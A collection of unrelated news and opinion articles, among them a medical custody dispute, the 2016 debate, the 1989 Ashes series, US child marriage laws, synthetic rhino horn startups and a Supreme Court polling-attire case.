with her dog.  'She is certainly listless and depressed now – it is like they have created those symptoms to suit their own ends. Once when I visited, I offered to give Justina a pedicure. It was something we used to do all the time.  'When she took off her horrible scratchy hospital socks, her legs were swollen, her skin was a weird white color and she was stone cold. She cannot stand now, she is too weak and has to use a wheelchair to move around.  'Justina believes she won’t be strong enough to make it. She makes origami flowers and writes little notes to us on them. It is the only way she can get messages to us. She is very frightened about what is happening to her.'  One heartbreaking message read: 'I know you trust in me. Don't forget it. I love you more than everything in the world. Justina'.  Strict limitations: The austere set of conditions set out for Justina's treatment that her parents were given that rules out any 'second opinion' of the diagnosis  Lou, a normally calm man who jokes about being the only male in a noisy household of women, can't but help get angry when he thinks about what his youngest daughter is going through.  'Who knows what lasting damage they have done to her mentally and physically,' he says. 'The hospital gets gazillions in grants for research. I truly believe she is being used as a guinea pig for medical experiments.  'Justina’s original doctors have been cut out of the loop. Her new team specializes in Somatoform Disorder. They have written papers and books on the subject.  'My baby daughter has been kidnapped.  'The place makes One Flew Over the Cuckoo’s Nest look like a Charlie Brown Peanuts Christmas special' Lou Pelletier  'Somatoform sufferers apparently have unexplained, physical symptoms of pain. The disorder mimics other medical conditions. It is considered to be a mental problem and is treated with anti depressants.  'Justina is now in a lock-down facility with kids who have been sexually abused, who cut themselves and God only knows what else. They are in and out in a week. Justina has been there nine months.  'The place makes One Flew Over the Cuckoo’s Nest look like a Charlie Brown Peanuts Christmas special.  'We don’t even know what they are doing to her. No one will tell us about her treatment. They have kidnapped her, taken her off medications that worked and left her to suffer in pain.'  Lou, who believes Massachusetts taxpayers will ultimately pick up the million dollar-plus medical costs for Justina’s care, added: 'We are only allowed one hour-long supervised visit with Justina a week. And they will only permit two family members per visit.  'Her mom and sisters want to see her but it means I haven’t been able to visit in weeks. I used to wait in the lobby but I’ve been told I can’t do that. Now I have to sit seething in the car outside.'  Depriving the family is one thing. But Justina herself doesn’t even have basic human comforts and the family can't understand how her life there benefits her or is part of her treatment.  Lonely: Justina can only call her family twice a week - but the family say the calls are listened in to. She can only have one visit a week for an hour too. Unlike any other 15-year-old she has no TV, cell phone or internet  Justina's mother said: 'Everything that is sacred to a teenage girl has been taken away from her. She is just lying alone in a bare room'  She is rarely allowed outside for fresh air and spends most of her time in a small room, off the main psychiatric ward, without even a television to occupy her time.  'Her phone and iPad were taken from her nine months ago, she cannot contact her friends, listen to music or watch her favorite TV shows,' says her 56-year-old mother. 'Everything that is sacred to a teenage girl has been taken away from her. She is just lying alone in a bare room.  'Four of her friends are on an "approved" telephone list and they can call occasionally but staff even listen in to those calls. It is like 1984 and Big Brother – she is constantly watched. If you ring the hospital, they say she is not there. It is like she has been disappeared.  'On her 15th birthday we were told we could take in a cake but not put candles on it. I am not quite sure what they thought we were going to do with the candles but they just come up with these crazy rules.  'Lots of her friends and relatives ordered helium balloons and other presents from the hospital gift shop to cheer her up on her birthday. They kept phoning me to see if I knew if Justina had received them.  'Ten days later, Justina was handed a pile of deflated balloons. They’d apparently been stuffed in a cupboard.'  CONFLICTING DIAGNOSES THAT HAVE RIPPED THE PELLETIER FAMILY APART Justina was diagnosed with mitochondrial disease several years ago, a genetic condition that affects muscle coordination and mobility. The illness includes a group of neuromuscular diseases caused by damage to intracellular structures that produce energy. There is no cure for the condition that is progressive and can cause death. Symptoms can include weakness, intolerance for exercise, heart failure, dementia and rhythm disturbances. Every year 1,000 to 4,000 children in the United states are born with a mitochondrial disease. After being admitted to Boston Children's Hospital in February however doctors concluded the teenager was suffering from Somafotorm disorder, a psychological condition that causes sufferers to feel pain, although there is no physical cause for it. Sufferers do not feign the physical symptoms they feel, rather they present themselves as the result of mental strain. Doctors cannot identify the sources of patients' pain and instead prescribe anti-depressants. Patients can become increasingly frustrated with the diagnosis as there is seemingly no explanation for their symptoms. Experts estimate that between 0.2 and 2 per cent of females and less than 0.2. per cent of men in the US suffer from the condition.  The family’s biggest fear is that Justina will ultimately be placed in foster care.  'Justina doesn't think she will make it if she goes into foster care,' said sister Jennifer.  'No-one wants to help. I have contacted senators, congressmen, prosecutors and even the FBI and the police. It is all wheels-within-wheels, everyone has a connection to that hospital,' says 56-year-old Lou.  'We have tried to do things officially but we fear the Massachusetts Children and Families Department are going to take Justina away from us for ever. We’ve heard they have even been looking at foster homes for her.  'She doesn’t need foster parents, she has her own loving family here and we want her back. No social worker has been to visit us, they haven’t checked our home or spoken to Justina’s teachers.  'All we want is Justina back. We don’t even know what we are supposed to have done wrong. They say we overmedicated her and forced her to have unnecessary procedures. But all we ever did was follow her original doctors’ orders.  Campaign: Sister Jennifer has been helping her parents raise awareness of Justina's plight. She said: 'All we have ever wanted for Justina is for her to get better but she is getting worse'. Jennifer said Justina told her that staff have said she is 'never going home'  Roxie: Justina has been denied contact with family's German Shepherd Roxie - who the 15-year-old used to go hiking with and sleep with. The family fondly remember how Roxie used to howl when Justina played the piano  'We have all the paperwork to show everything was sanctioned by her original specialist Dr Mark Korson at Tufts Medical Center but he has been pushed aside so these other experts can present their rare mental disorder diagnosis.'  In one recent email to the family, Dr Korson wrote: 'I am dismayed…it feels like Justina’s treatment team is out to prove the diagnosis at all costs. This represents the most severe and intrusive intervention …for a clinical hunch', according to Fox CT.  A spokeswoman for Tufts Medical Center said: 'We are unable to speak publicly about Justina's case because of the Hippocratic code governing patient privacy. Dr Korson cannot talk about her case.'  Meanwhile, a spokeswoman for Boston Children’s Hospital patient relations department said: 'We are unable to discuss any patient’s personal or medical details.'  Asked if it was possible to talk to an expert on Somatoform, she referred MailOnline to the hospital’s website. And despite agreeing to pass on messages to Justina’s medical team, no one returned calls.  When MailOnline called back and asked to speak to Justina, a different woman in the patient relations department said: 'I am not able to put you through to anyone who may or may not be here. It would be in violation of the Hippocratic (privacy) code.'  'This represents the most severe and intrusive intervention… for a clinical hunch' Dr Mark Korson  The hospital's website states: 'Sometimes a child complains continually of a pain or physical disability for which a physician cannot find a physical cause or the cause found does not account for the level of impairment experienced by the child. The pain or disability, however, is very real to the child.  'As an example, a girl that develops an inability to walk that is unexplained by a medical condition, but is temporarily related to family conflicts. She is ‘converting’ a psychological stress into a physical condition.'  Christy Balcells, director of the Mito Action support group, told MailOnline: 'Justina’s family isn’t the first that this has happened to at Boston Children’s Hospital. I know of two other children that were removed to foster care. But Justina is the only one who has been made to live at the hospital.  'And in Justina’s case, the family was following the directions of their physicians, doing what they were told to do. But even if her family had been doing something to the child, a hospital is no place to live. It is horrible, the quality of life is just awful.  'If the doctors at Boston Children’s really thought Justina would be better off being removed from the care of her parents, they should have found her a foster home.  We want her back: The Pelletier family, from left, Jessica, parents Lou and Linda, Jennifer and Julia. Lou said: 'She doesn't need foster parents, she has her own loving family here. No social worker has been to visit us, they haven't checked our home or spoken to Justina's teachers'  Memories: Linda Pelletier points to art on the family's refrigerator drawn by Justina while she's been in hospital  'As a mother who has a child with Mitochondrial Disease, I know the stress a family goes through when a child is unwell with an unpredictable illness that when severe can cause death.  'Families are told by doctors there are things they can do to keep the child alive. So when someone else comes along and tries to change the plan,they become emotional and react out of fear.  'Some doctors say the child is making it up or the parents are harming the child. If that was the case with Justina, then I have to ask why after nine months in hospital isn’t she getting better?  'Mitochondrial Disease is relatively new, it was named in 1969 and like any disease there are varying levels. In extreme cases it causes seizures, organ failure and death. In others it is less severe.  'It is often misdiagnosed. It is not a chronic fatigue syndrome or an immunodeficiency disease. Some suffers have even been labeled autistic. One in every 2,000 children suffer from degrees of Mitochondrial Disease, it is actually more common then childhood cancers.  'We have seen a jump in the figures as diagnosis and technology gets better. But we are still a long way from finding a simple test that can accurately pinpoint it.  'It is not a black and white disease. Tufts and Boston Children’s Hospital both receive Harvard University backing and there is discord between the two. Tufts has said one thing, Boston Children’s another. And Justina and her family are caught in the middle.'  There is another custody hearing between family, hospital staff and child welfare workers on December 5.
-On Monday night, America witnessed one of the most worthless, and certainly one of the most infantile, presidential debates in its history. After listening to Donald Trump’s meta-fictions and Hillary Clinton’s manicured obfuscations, the voter is left with one question: do you prefer an idiocracy or a kleptocracy?  At Hofstra University, a typically dignified Lester Holt did his best allowing the two candidates to engage in their rhetorical slap fights. But whenever he chimed in, or tried to play referee, he helped cover for the kleptocracy. And I don’t care if Holt writes Ronald Reagan fanfic in his spare time, he consistently let Hillary off the hook.  Holt, for example, couldn’t conjure up a single question about Syria. Or a single question about social issues. Not one. Just for example, it’s possible there are still a few people left in this country who might be curious about Hillary’s position on late-term abortions without limits. There may even be voters interested in Trump’s thoughts on any social issue, at all.  Instead, Holt nudged the conversation in the direction Beltway Twitterdom would approve.  Holt brought up birtherism — which is certainly fair game — but never once mentioned the Clinton Foundation. Now, while favor-trading at the State Department may not offend the sensibilities of the average liberal reporter like questioning the president’s birthplace, only one of these scandals involves the potential abuse of state power. And if birtherism speaks to Trump’s temperament — and surely it does –- then Hillary’s unfaltering propensity to assist people and institutions that enriched her foundation with hundreds of millions of dollars certainly speaks to her judgment, if not character.  It didn’t end there. Holt challenged Trump on his pro-war comments to Howard Stern in 2002 — also fair game since the Republican nominee claims some special foreign policy wisdom — and pushed back when candidate denied it. Yet Holt didn’t think it worth even asking Hillary to explain why she actively advocated for the very same invasion; arguing for it on the floor of the Senate. Surely, exploring the thought process and flip flops of a powerful senator with the authority to avoid war is at least as significant as what a then-celebrity had to say on the issue to a shock jock?  Holt never asked Hillary about advocating war (without congressional approval) in Libya. There was not a word on what happened in Benghazi. (I guess enough left-wing pundits and journalists have mockingly tweeted “BENGHAZI” in all-caps and vertical to make it a non-issue.) As others have mentioned, Hillary hasn’t met a war she didn’t like since Vietnam. This might be a worthwhile consequential enough topic for a future debate. You know, once we’ve exhausted all our discussions about Trump’s 1970s lawsuits.  Holt did bring up the email scandal, allowing Hillary to brush it off as a “mistake,” when, in fact, she lied to Congress and her staff destroyed tens of thousands of government documents after her wrongdoing was reported by The New York Times and others. No follow-up. Trump should have dismissed his birtherism as a “mistake.” I’m sure Holt and establishment media would have been satisfied.  To be fair, no one helped Hillary avoid substantive issues more than Donald. How many times did Clinton bait Trump and his colossal ego into defending some trivial issue related to his business or his wealth? If you can’t exhibit any self-discipline now, when will you?  When Holt asked about cyberattacks, Hillary uncorked her yawning platitudes, and Trump, who had an opening to hit her for mishandling dozens of classified documents, decided to drop a jumbled monologue about 400-pound hackers and his 10-year-old son’s computer abilities. I was waiting for someone to give the principal’s speech from Billy Madison (video above) after he’d finished.  When the question of her stamina came up, Hillary offered a canned line about how sitting through long congressional hearings proved her mettle. Instead of countering with “Well, Hillary, if you stopped doing corrupt stuff, you wouldn’t have to sit in front of Congress all the time,” Trump decided to re-litigate the Rosie O’Donnell incident.  Of course, Holt asked Trump about his attitude towards women, and specifically his comment on how Hillary “looks.” Okay. But then he asked nothing about Clinton’s contention that half of all Republican voters were “deplorables.” I’ve seen liberals prove Clinton’s assertion about deplorables was correct using charts and whatnot. Perhaps Hillary agrees. It never came up.  In any event, Trump lied a lot. And Hillary lied a lot, although she does it with far more dexterity and subtlety — on her trade position, on taxes, on murder rates, on NATO and so on. Then again, “Our candidate lied less than yours!” is an argument regularly used by partisans in 2016. With this measurement, it seems the consensus on cable news was that Clinton won. If I was forced to call it, I’d also probably give the debate to Hillary on points. Largely because Trump needlessly pummeled himself in the second half.  Yet media consensus has a terrible track record in 2016. So no one should underestimate the effectiveness of Trump’s populist positioning on trade or law and order. Perhaps we shouldn’t underestimate how a dismissive and smirking Hillary plays in certain places in America, either. However the polls shake it, though, I feel confident saying that everyone in country is now dumber for having listened to this debate.  Two more to go.
-Throughout much of the 1980s Australian cricket was a mess, the national team cast about on the winds of rebellion, hamstrung by retirements and peppered by regular defeat. Yet in the 1990s the Baggy Green side was one of the greatest the sport has seen. A generation of England fans grew up knowing the Australian side only as an all-conquering force, one who would habitually humiliate whichever side England sacrificially put out to take them on. The pivot between the old, shambolic and (crucially) Ashes-losing Australia of the 1980s and the new, terrifying Pommie-pounding Australia of the 1990s came in the Ashes series of 1989. And perhaps the simplest way to encapsulate the spirit of that summer is with two bottles of champagne and a glass of water.  First, the bubbly. Terry Alderman, written off before the series as over-the-hill, a 30-something whose potency had been eroded by years of injury, a has-been that never really was, confounded the critics with match figures of 10 for 151 as Australia tore England apart in the first Test at Headingley. The bowler whose swing swung the game in the tourists’ favour pipped Steve Waugh and Mark Taylor to the man-of-the-match award, accepted his magnum of champagne, then ordered it to be put on ice until the Ashes were back in Australian hands.  20 great Ashes moments No2: the miracle of Cardiff, 2009 | Rob Bagchi Read more  That was the first bottle in our tale. The second makes its appearance in the hands of a waiter at lunch on the second day of the fifth Test. Taylor and Geoff Marsh had batted through the entire opening day, Australia, 3-0 up with two games to play, the Ashes already heading back down under, were 370 for one, well on their way to amassing 400 plus in their first innings for the fifth time in five matches. Marsh had at last been dismissed for 138 in the morning session and, “to celebrate”, the England captain David Gower ordered himself a glass of the good stuff. If it was meant to be a self-deprecating attempt at light humour in the face of a crisis, it came across as a gesture of utter demoralisation, a sign of England’s all-too-obvious inadequacies and impotence in the face of a Baggy Green steamroller. And, coupled with Alderman’s magnum, it showcased the contrast in attitude between the sides – one shrugging its shoulders, one ruthlessly hell-bent on victory.  Which brings us on to that glass of water. Later in that Test, during England’s doomed attempt to avoid the follow on, Robin Smith, arguably the only England player to come out of the series with any credit, asked the Australian captain if he might have a glass of water. “No you fucking can’t, what do you think this is – a fucking tea party?” came the unequivocal response from Allan Border. This was a new Australia and a new Border. No more Mr Nice Guy.  The seeds of the new era were sown in the Ashes series of 1985, one that for Australia had been preceded, in Border’s words, by “a monumental shit fight” following defections from the squad for a rebel tour of South Africa – “I was a very unhappy captain, and I clearly had a very unhappy team on my hands.” Border’s team, defending the urn won back in 1982-83 by Greg Chappell, lost 3-1 to Gower’s England, but the atmosphere was convivial – there’s an illustrative photograph in Border’s autobiography of the two captains at the end of a day’s play during that tour, Border clasping his opposite number in a handshake with one arm, the other draped chummily across Gower’s shoulders, smiles all round. It was too convivial for some. “AB, these blokes are belting the hell out of you,” Ian Chappell told the Australian captain, “but you’re out there being their best mate, for Christ’s sake.” Border would remember those words, and act accordingly, on his next visit to England.  Even fresher in Australian minds was the chastening beating they suffered on home soil at the hands of the West Indies in 1988-89. “We got beaten by the West Indies in the Boxing Day Test – they smashed us up and embarrassed us – and we made a pact afterwards it would never happen again,” said Dean Jones, the Australian No5. “That was the biggest turning point we’ve had in Australia. Everything changed for us. AB and all the players were harder on ourselves.”  The tourists disembarked from 26 hours in business class (the first time an Australian side had not flown economy to England – “’Aussies mean business’ had a nice ring to it,” reckoned Border) to be greeted by the usual “worst touring side ever” headlines. There was no doubt the home side expected to win. Gower had announced himself “supremely confident” of not just retaining the Ashes but beating the Australians on his reappointment as captain in April. If the confidence of the England side and media looks ludicrous in hindsight – and in poring over the faults of the visitors they entirely overlooked the weaknesses in their own side – it’s worth remembering that since winning the second Ashes Test at Lord’s on 27 June, 1985, Australia had won only five of 34 Tests, and of the 13 Tests played away from home in that period they had won none. In the 1980s up to that point they had won just one series on foreign soil – and that a one-match affair in Sri Lanka – and they had won only three series anywhere since 1983. The future greats in the side – Taylor, Waugh, Healy – were yet to reveal their greatness. They even lost their opening three-day match of the tour in a low-scoring game against Worcestershire then drew against Somerset in the next. Yet even during those games Border had a new demeanour. He had always been a rugged character, a battler, but this was a new, harder edge – he refused to talk to the opposition, and demanded complete discipline and commitment from his team in the field. And from England’s point of view, the counties made the mistake of throwing fuel on the fire.  In 1985 Border had complained about county sides fielding below-strength lineups in tour matches, so in 1989 counties were offered cash prizes – a share of £25,000 – for wins over the tourists, in a rather ill-thought-out attempt to ensure competitive matches. It certainly did that but a side-effect was that county sides tended to prepare result pitches. Fiery, bouncy, mind-your-head pitches. In the final tour match before the first Test, against Derbyshire – who fielded Devon Malcolm and a young West Indian named Ian Bishop – the Australian batting lineup were peppered with short deliveries. Fuelled by the cold pizza served up for lunch, they were bowled out for 200 in their first innings, 180 in the second and scraped home by 11 runs . That experience was the final straw. In the first Test Australia would be determined to, in Border’s words, “show the bastards”.  And show them they did. At Headingley, scene of Border’s lowest point in 1981, Gower won the toss (at which the Australia captain did not speak to his counterpart) and put the tourists in. Taylor smashed his first Test century, Waugh did likewise, Australia declared at 601 for seven and despite England avoiding the follow-on, Alderman bowled the tourists to victory in the fourth innings. The champagne went on ice.  After another game of what Border described as “bounce the Aussie” against a Lancashire attack including Wasim Akram and Patrick Patterson, Waugh made an unbeaten 152 in the first innings at Lord’s, Merv Hughes was warned for intimidatory bowling and an Australian side went two up after two Tests in England for the first time since Donald Bradman’s side in 1948.  Two moments at HQ again illustrate Australia’s new-found focus. Border points to the incident when he swiped at and missed a triple-bounce ball from Neil Foster. England were tickled, the Australian captain furious: “Maybe in 1985 I’d have responded to such an incident, and their joking, with a bit of light-hearted banter of my own.” This time around there was just naked rage. After the match the Australian camp received a telegram from the makers of the Crocodile Dundee films: “The party is on us. When and where do you want it?” Again it was decided to wait until after the Ashes were secure.  For the third Test at Edgbaston England recalled Ian Botham, despite the fact that he had neither scored a first-class fifty nor taken five wickets in an innings for two years, and rain came to the rescue. But at Old Trafford in the fourth Test (ahead of which England were rocked by the announcement of a rebel squad to tour South Africa) there was no escape from the throttling, aggressive fields, disciplined bowling and belligerent dismantling of the England attack. Three-nil, the Ashes back in Australian hands, but the relentless tourists and their captain were not yet satisfied. “We had some unfinished business: we wanted to win the series 5-0, the greatest winning margin by an Australian team. We had a team meeting at which the feeling was very much: ‘Let’s go for the jugular.’  20 great Ashes moments No1: Shane Warne's ball of the century, 1993 | Barney Ronay Read more  At Trent Bridge Taylor and Marsh did not just go for the jugular – they ripped it out and made balloon animals with it. The first day ended with Australia 301 without loss, the opening pair becoming the first players to bat through an entire day’s play in a Test in England and only the third openers to do so anywhere. The home side by this stage were in disarray – Australia won by an innings and 180 runs.  The ordeal was nearly over for Gower and England. On the opening morning of the sixth Test Border was asked if he would like England to up their game a little, just to try his side’s mettle, to see how his youngsters responded to pressure. “Nope,” came the reply. England, who with their team selection took the number of players used during the series to 29 (Australian, in contrast, used 12), escaped with a rain-affected draw after Border, ruthless to the end, had delayed a declaration on the final day. An earlier end to the Australian innings “would have given England a sniff of victory and I had no intention of doing that”.  The demolition work was complete, England reduced to rubble. Australia, 4-0 winners for the first time since 1948, had their party courtesy of Crocodile Dundee’s box-office takings, flew home for ticker-tape parades and prepared for a new era of hard-nosed dominance. England hunkered down for a rebuilding job that would take a decade. That was definitely no tea party.
-When the veterinarian told Thomas Neil Rodriguez that his beloved 15-year-old dog Poh was dying, the New York resident decided to make the most of their time left together with a cross-country adventure."I initially wanted to get him to the Pacific ocean," Rodriguez told ABC News . "I have always wanted him to swim."So beginning in March, Poh, Rodriguez and his fiancee began a 12,000-mile road trip from their home in New York City to Los Angeles. They stopped in 35 cities along the way, visiting landmarks like the Washington Monument, the Space Needle and even Walter White's home from the AMC TV show"He loved it, it was so healing for him," Rodriguez said. "It was like he was five years younger. He was walking with a lot of energy."Rodriguez created an Instagram account to document their travels and other pet owners have shared their messages of support for Poh and Rodriguez.Poh, a mixed-breed that Rodriguez adopted from an animal shelter in 1999, has been diagnosed with multiple health issues. Doctors aren't sure how much longer he will live, but Rodriguez has vowed to continue to celebrate the time they have left together."I am super blessed that I have actually gotten to do this," Rodriguez said. "People think I take care of Poh, but Poh takes care of me."
-A few years ago at one of our CIO events, one of the speakers was wrapping up a talk about leading big-data projects, which happened to be the subject of our cover story that month. Gesturing toward the scattered piles of CIO magazines, she graciously suggested everyone make sure to read "the excellent story in those pamphlets on your tables." I saw a number of sympathetic grins from CIOs in the audience as I got up to thank her. "Lady, that's no pamphlet," I said lightly. "That's my magazine!"  We've known for a long time that the light in CIO magazine's tunnel wasn't sunshine. Media companies have been aggressively driving the digital train for the past decade, welcoming on board the advertisers that once fueled the robustly profitable business model for print magazines. The good news is that CIO's brand is thriving in all the right markets: IT leadership events, online at our award-winning CIO.com site and in our custom publishing business.  Bringing IT leaders to the forefront of the business landscape has been our core mission since CIO's first issue in September 1987. We've chronicled your career journeys. We've tracked your C-suite successes and failures. We've advocated for your expanding role in shaping business strategy. We are forever grateful that so many of you shared your stories with us over the years. But ultimately, your greatest source of knowledge, strength and wisdom is each other.  So be sure to stay active in your CIO and IT leadership communities. Attend as many CIO events as you can (especially ours, which in my biased view are the best on the market). On CIO.com, follow Senior Writer Clint Boulton's stories. And sign up for our Insider program (www.cio.com/insider), where our talented Executive Editor Mitch Betts will keep you supplied with the kind of in-depth articles, expert advice and research insights you've come to expect from us.  Take care and stay in touch. I hope we'll see you at our next CIO Perspectives event (Nov. 12th in Houston, Texas)...
-The Loopholes That Allow Child Marriage In The U.S.  Enlarge this image Maria Fabrizio for NPR Maria Fabrizio for NPR  Child marriage isn't just a practice that victimizes girls in poor countries. As this blog has previously reported, it's also long been an issue in the United States, involving girls from a wide range of backgrounds. Based on state marriage license data and other sources, advocacy groups and experts estimate that between 2000 and 2015 alone, well over 200,000 children — nearly all of them girls — were married. In nearly all cases the husband was an adult.  A report released Wednesday by the Tahirih Justice Center sheds new light on how state laws are contributing to the problem.  The center, a nonprofit advocacy group that works to end violence against women and girls, did a comprehensive analysis of the myriad statutes governing marriage in all 50 states and the District of Columbia. Among the findings:  Twenty-five states do not set a minimum age at which a person can get married, and eight more set it at an age lower than 16. Alaska and North Carolina, for example, set the age at 14. In New Hampshire it's 13 for girls, 14 for boys.  In all of these states, minors who are below a certain age — it varies from state to state — must still get a judge's approval to marry.  But the report finds that this is hardly a robust protection against the exploitation of children. For instance, most states do not specify that the ruling judge must work in a court system that gives them expertise in such matters — say family, juvenile or domestic relations court. Similarly, very few states require that the child be appointed his or her own counsel. Only two state laws specify that a judge cannot approve a marriage solely because the child's parents have consented. And nine states expressly permit pregnancy as a reason to lower the minimum marriage age.  All of this is problematic because it makes it hard to ensure that a girl isn't being pressured into marriage by her own family or an adult partner who, but for the marriage, would be subject to prosecution for statutory rape. What's more, even in states that do officially set the age of marriage at 16 or higher, judges are generally allowed to overrule the limit and let a child marriage go forward.  The Tahirih Justice Center hopes that the report will spur lawmakers to correct the loopholes that they've identified in each state's statutes. So far, progress has been slower than advocates would like. But interest in the issue is growing and over the last two years Virginia, Texas and New York have all passed legislation that the report celebrated as putting in place "meaningful safeguards." Before in New York, marriage was formally allowed for children as young as 14, with a judge's permission. Now, the "age floor" is set at 17, and even then, approval is required by a judge who must determine that the minor is not being coerced, among other criteria. And the minor is appointed an attorney with training on domestic violence and forced marriage.
-In Regenesis, George Church and Ed Regis list the resurrection of long extinct species as one of the grander, future applications of synthetic biology. To think someday, we might encounter living mammoths, produced by reconstructing their genomes and raised in the wombs of surrogate elephants! One of the most pressing and immediate goals for synthetic biology is to help limit the current extinction of species driven by greed and black market demand.  Wildlife trade is the second largest of all illegal trades by volume globally, dwarfed only by narcotics. Animals are either poached for fur, ivory, and horns or are smuggled across international borders for use as exhibits or pets. The market size is estimated to be worth about $20 billion, though hard figures are difficult due to the complicit nature of the trade. By endangering endemic species, it is also leading to anomalies in the local ecosystems.  Que the new startup, Pembient (@Pembient), who is promising to fight this illegal trade by making artificial alternatives to these highly sought-after commodities. Take for instance a rhino horn– a single horn can fetch in up to $300, 000 in Vietnam. In South Africa alone, 1116 rhinos were poached last year; that’s 3 rhinos a day. These rampant killings are fueled by traditional Chinese medicine beliefs that claim the horns can cure fevers, convulsions, and headaches. Though these beliefs have been passed down through the generations, none of the medicinal properties have been verified which makes these practices even more horrific.  Matthew Markus, who has previously co-founded startups involved in genetics, mobile and internet space was concerned about poaching of rhinos for their horns. In early 2014, he met George Bonaci who had an extensive knowledge of keratin and had previously invented a unique formaldehyde-free hair straightener. As luck would have it, their fortuitous meeting may be the most beneficial yet in the hunt for a solution to these merciless rhino poachings. Matthew knew that rhino horns were primarily made of keratin which is also the key protein in our skin, nails, and hair. Realizing that biotech had progressed significantly since his days at the university, he came to the conclusion that the bioengineering of these horns may be feasible. After reaching out to George to discuss the possibility of recreating the rhino horn, they decided to come together and form the start up today we know as Pembient. With Matthew as CEO and George serving as VP Product, the two of them, coupled with their shared love for technology and animals, are a driving force out to save planet earth and its occupants.  The team is currently investigating two major approaches. The first of these involves tissue engineering, while the second is more of a biochemical approach. The duo has invested significantly more time as well as money in the latter. Their detailed approach has allowed them to rapidly create prototypes that are similar to actual rhino horns. The likeness involve both spectrographic and genetic resemblances. When asked about further details on their technology, Matthew chose to remain secretive. Not surprising, given that they are one of the first to target the rhino horn trade in such an unusual manner. The typical solution has been to prevent it all together. Pembient has received $50, 000 in seed funding from Indie Bio and a place in their next San Francisco batch that starts on February 28th.  Ceratotech, a competitor, is betting their stakes on the engineered tissues approach. Garrett Vygantas, CEO, and Karl Handelsman, CBO of the startup, are trying to tackle the same problem by using stem cells. Induced pluripotent stem cells or adult cells reprogrammed to behave like stem cells have been in vogue in regenerative medicine since their Nobel prize winning discovery in 2006. Currently, Vygantas has a patent for the process that turns rhino skin cells into keratinocytes. These are the cells that produce the keratin in the horn. The idea led the team to be among the top 25 semifinalists for the Extreme Tech Challenge 2014. The unimaginable scale of the market and the contradictory nature of the solution these startups offer hints that there is room for more than one great company to operate in the domain.  The one common thread between the two startups, outside their mutual interest in rhino horns, is the variety of products their approaches can create. Other popular animal products that could be realized using the platform technologies of either company are tiger bones, ivory, and pangolin scales. However, there are few doubts that cannot be ruled out. For a start, by making the rhino horns easily accessible, these companies could be fueling the traditional belief that is at odds with evidence-based medicine. Matthew disagrees and thinks that there hasn’t been much research into its medicinal properties.  “I understand why the general conservation message is that rhino horn is not medicine. It is a simple message. The more complex message is that even if rhino horn does have some medicinal properties, rhinos are rare and should be protected,” he says, “and that in the end, users of rhino horn are going to use rhino horn regardless of the facts. Creating an artificial supply seems like the best way to meet their demand.”  Illegal wildlife products aren’t the only aim of these companies. Many legal animal products are produced in an unsustainable manner and a host of other synthetic biology companies are redefining conservation by making their production sustainable. Modern Meadow (leather and meat), Afineur (civet poop coffee), New Harvest (meat), and Muufri (animal-free milk) are promising examples. As Matthew Markus states, it is the dawn of the Conservation 2.0 era.
-Congressman Jared Polis (D-CO) wants to be “the poster boy” for reining in fracking. He has sought to ban it, regulate it, and tax it. But at the same time, Polis has millions of dollars in fracking and resource extraction investments.  Looking at Polis’s past statements, you’d think that he’s vigorously opposed to fracking. He has written letters criticizing oil and gas companies, praised fracking moratoriums in his Boulder district, and argued for stiffer financial penalties for the industry. He has also used alarmist language to stoke fears about the chemicals used in the process and questioned “the impact that fracking has on the health of communities.”  Last year, he even sued his neighbor for fracking on her own land because it caused him “a loss of enjoyment” on his million dollar property in Weld County. He claimed that the “mental suffering” from his neighbor’s drilling was making his family “refugees” and ending their chance at the “Colorado dream.” Such melodrama is just part of what Polis sees as his mission: “I feel like the universe has selected me to be a poster boy for reining in out-of-control fracking,” he said.  But his actions tell quite a different story. At the same time Polis is making it more difficult for individuals in his state to build wealth from fracking, he is quietly investing millions in fracking and resource extraction developments. Based on his 2012 financial disclosures, he has at least $1 million invested in the oil and gas industry. One of his investment vehicles in particular, Bow River Capital Fund, has numerous fracking interests in its portfolio. These investments have helped Polis become the 2nd wealthiest member of Congress. Unfortunately, like so many wealthy environmentalists, he maintains the hypocritical, “I got mine; you can’t get yours” mentality.
-Should it be illegal to wear a “Make America Great Again” hat or an “I’m With Her” shirt to the polls? The U.S. Supreme Court is considering that question this week.  The case, Minnesota Voters Alliance v. Mansky, is a matter of the First Amendment and free speech versus the freedom to vote without intimidation. It’s also an example of how much “heightened sensitivity” there is around certain issues in a divided America today, said Ilya Shapiro, a senior fellow in constitutional studies at the Libertarian-leaning Cato Institute in Washington, D.C., and editor-in-chief of the “Cato Supreme Court Review.”  “There’s a difference between disrupting someone from voting, or even electioneering, and speech or expression,” he said. “I don’t think there should be electioneering at a polling place.”  In 2010, Andrew Cilek, executive director of the Minnesota Voters Alliance, showed up at his Hennepin County, Minnesota, polling place in a coiled-snake “Don’t Tread on Me” T-shirt — the unofficial logo of the Tea Party — and a “Please ID me” button, even though his state does not have a voter ID law.  He was temporarily prevented from voting, though he was eventually allowed to cast a ballot. Poll workers asked Cilek and others to cover up their slogans. An election official took down his name to possibly prosecute him for electioneering inside a polling place, which is punishable by up to a $5,000 fine, though no action was taken. It ended up being Cilek who filed a lawsuit instead. He and the Minnesota Voters Alliance are being represented by a big-time conservative legal advocacy group, but they also have the backing of the American Civil Liberties Union and libertarian groups.  A lower court upheld the law used against Cilek’s T-shirt as protecting Minnesota’s legitimate interest in polling place “peace, order and decorum” and “the integrity of its election process.” The state is arguing its law is necessary to keep order at polling places at a time of intense political polarization and deepening divisions.  Voter intimidation is prohibited by law in most states — including Minnesota — and a federal law that says “no person … shall intimidate, threaten, coerce … any other person for the purpose of interfering with the right of [that] person to vote or to vote as he may choose.” All 50 states have “speech-free zones” around polling places on Election Day. But Minnesota law also bans voters from coming to the polls wearing political badges, buttons or other insignias intended to “influence and impact” voting. It’s one of only 10 states with such a law; the others are Delaware, Kansas, Montana, New Jersey, New York, Tennessee, Texas, Vermont and South Carolina.  This is not the first time the highest court in the land has taken a look at the intersection of free speech and voting. In 1992, SCOTUS said it was not a First Amendment infringement to create a “safe zone” around polling sites, because it was intended to protect citizens’ rights to vote freely. The Burson v. Freeman decision also said Tennessee’s 100-foot safe zone was small enough to be acceptable.  But that case was more about political signs and posters than personal apparel, Shapiro said. The current case, and what the justices discussed Wednesday, was more about free speech and where to draw the line between what is and is not political speech. Justices spent more time quizzing lawyers about what would and would not be allowed — Is a #MeToo shirt political? What about a “Parkland Strong” shirt?, asked Justice Samuel Alito — than pulling up precedents or debating dry legal topics.  It made for “illuminating” arguments, said Shapiro, who thinks the challengers will prevail, and SCOTUS will strike down the Minnesota law in a decisive vote.  “It’s a weird law that’s seldom enforced,” he said. “A ruling 